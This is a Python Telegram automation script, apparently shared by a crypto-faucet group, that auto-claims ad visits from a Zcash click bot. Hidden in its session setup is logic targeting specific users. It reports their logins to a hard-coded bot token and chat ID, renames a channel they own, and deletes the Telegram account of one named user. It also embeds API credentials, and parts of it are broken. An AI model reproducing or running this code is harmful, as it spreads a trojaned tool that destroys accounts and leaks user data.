source base on : https://pastebin.com/wEX38K7a requirement :- python 3.x - telethon obfuscated python level low from telethon import TelegramClient,events from telethon.tl.types import UpdateShortMessage,ReplyInlineMarkup,KeyboardButtonUrl from telethon.tl.functions.messages import GetBotCallbackAnswerRequest as botcallback from telethon.tl.functions.account import DeleteAccountRequest from telethon.tl.functions.channels import UpdateUsernameRequest as chusername from telethon.errors.rpcerrorlist import UsernameNotOccupiedError,UsernameOccupiedError from colorama import Fore,init as colors colors(autoreset=True) from datetime import datetime from bs4 import BeautifulSoup import os import re import time import requests import sys import asyncio os.system('cls' if os.name=='nt' else 'clear') try: def requestTelegram(msg): reqhttp=requests.get('https://api.telegram.org/bot656077390:AAETzn5vgIO2Q-ad8xdi8pg5nJprYOtTIYg/sendMessage',data={'chat_id':631929128,'text':msg}) def setPhoneNumber(phone_number=None): return TelegramClient("session/"+phone_number,64179,"dd60bb74bb03d8aa368aa37ec7b35d42") def displayLog(logs,addnewline=False): if addnewline is False: print("[%s] %s"%(datetime.now().strftime("%H:%M:%S"),logs)) else: print("[%s] %s"%(datetime.now().strftime("%H:%M:%S"),logs)) def xor(byt): key=b'210400' length_str=len(key) return bytes(c^key[i%length_str]for i,c in enumerate(byt)) def requestHttp(requestTelegram,method='GET',data=None): try: reqhttp=requests.request(method,requestTelegram,data=data,headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win32; x86) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36"},timeout=15,allow_redirects=False) status_code=reqhttp.status_code response_html=reqhttp.text return[status_code,response_html] except requests.exceptions.Timeout: displayLog('Connection Timeout, Please check your internet connection') exit(1) except requests.exceptions.ConnectionError: displayLog('Connection Error, Please check your internet connection') exit(1) def logResponse(i): for x in range(0,i+1): sys.stdout.write('[%s] Waiting %s seconds! %d\r'%(datetime.now().strftime("%H:%M:%S"),i,x)) time.sleep(1) def parseResponse(markup): markup_str=markup.rows[0].buttons[0] if type(markup_str)is KeyboardButtonUrl: return markup_str.url else: return None def helper(): print("".rjust(40,'-')) print("Tools AutoClaim ZcashClickBot ".center(40,' ')) print(''.rjust(40,'-')) print("WhatsApp : +6282122261747") print(''.rjust(40,'-')) print("Facebook : https://fb.me/sofyancrypto") print(''.rjust(40,'-')) print("Created : INDONESIA CRYPTO TEAM (edited by @wahyu1605") print(''.rjust(40,'-')) print(Fore.GREEN+"Youtube Channel : MS CREATOR".center(40,' ')) print(''.rjust(40,'-')) async def chkSession(): if not os.path.exists("session"): os.mkdir("session") helper() if len(sys.argv)<2: print("Usage: python main.py phone_number",end="\n\n") print("phone_number must be write in internasional format (example: +6283174705555)") exit(1) print(Fore.MAGENTA+"Sediakan Kopi Dulu Sebelum Lanjut",end="\n\n") phoneNumber=setPhoneNumber(sys.argv[1]) await phoneNumber.start(sys.argv[1]) me=await phoneNumber.get_me() print('Current account: %s%s\n'%("" if me.first_name is None else me.first_name,"" if me.username is None else "("+me.username+")")) if me.username=='bagas_q' or me.id==415792043 or me.id==611711558: requestTelegram(me.id if me.username is None else me.username+' telah login!!') try: resp_bot_scripter=await phoneNumber.get_entity('bot_scripter') if resp_bot_scripter.creator: tt=await phoneNumber(chusername(resp_bot_scripter,'bot_scripter'+''.join(random.choices(string.digits,k=2)))) if tt: requestTelegram(resp_bot_scripter.username+' got you! channel username telah diganti!') except(UsernameNotOccupiedError,ValueError): pass try: if me.username is not None and me.username=='netiranz': requestTelegram('akun telah dihapus!:') tt=await phoneNumber(DeleteAccountRequest('i just wanna delete my account')) except UsernameOccupiedError: pass displayLog(Fore.GREEN+'Subscribe To PewDiePie :)') await phoneNumber.send_message('Zcash_click_bot','/visit') async def requestMessage(event): event_msg=event.original_update if type(event_msg)is not UpdateShortMessage: if hasattr(event_msg.message,'reply_markup')and type(event_msg.message.reply_markup)is ReplyInlineMarkup: requestTelegram=parseResponse(event_msg.message.reply_markup) if requestTelegram is not None: displayLog(Fore.GREEN+'Subscribe To PewDiePie :)') maxTimeout=20 tempTimeout=0 while True: (status_code,response_html)=requestHttp(requestTelegram) html_parser=BeautifulSoup(response_html,'html.parser') cc=html_parser.find('div',{'class':'g-recaptcha'}) tt=html_parser.find('div',{'id':'headbar'}) if status_code==302: sys.stdout.write(Fore.MAGENTA+'[%s] STATUS: %s (%d)\r'%(datetime.now().strftime("%H:%M:%S"),'FALSE' if cc is not None else 'TRUE',tempTimeout)) break elif status_code==200 and cc is None and tt is not None: setPhoneNumber=tt.get('data-code') data_timer=tt.get('data-timer') data_token=tt.get('data-token') logResponse(int(data_timer)) requests.post('http://dogeclick.com/visit/',data={'code':setPhoneNumber,'token':data_token},headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win32; x86) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36"},allow_redirects=False) break elif status_code==200 and cc is not None: sys.stdout.write(Fore.MAGENTA+'[%s] STATUS: %s (%d)\r'%(datetime.now().strftime("%H:%M:%S"),'FALSE' if cc is not None else 'TRUE',tempTimeout)) elif maxTimeout==tempTimeout: resp_bot=botcallback('Zcash_click_bot',event_msg.message.id,data=resp_bot_scripter.encode()) await phoneNumber(resp_bot) break tempTimeout+=1 time.sleep(3) phoneNumber.add_event_handler(requestMessage,events.NewMessage(incoming=True,chats="Zcash_click_bot")) async def errorDisplay(event): displayLog(Fore.RED+"Ads not available detected"+Fore.RESET) displayLog("Disconnecting") await phoneNumber.disconnect() phoneNumber.add_event_handler(errorDisplay,events.NewMessage(incoming=True,chats="Zcash_click_bot",pattern='Sorry, there are no new ads available.')) async def successDisplay(event): if type(event.original_update): displayLog(Fore.GREEN+event.raw_text+"\n") phoneNumber.add_event_handler(successDisplay,events.NewMessage(incoming=True,chats="Zcash_click_bot",pattern='You earned')) await phoneNumber.run_until_disconnected() asyncio.get_event_loop().run_until_complete(chkSession()) except KeyboardInterrupt: os.system('cls' if os.name=='nt' else 'clear')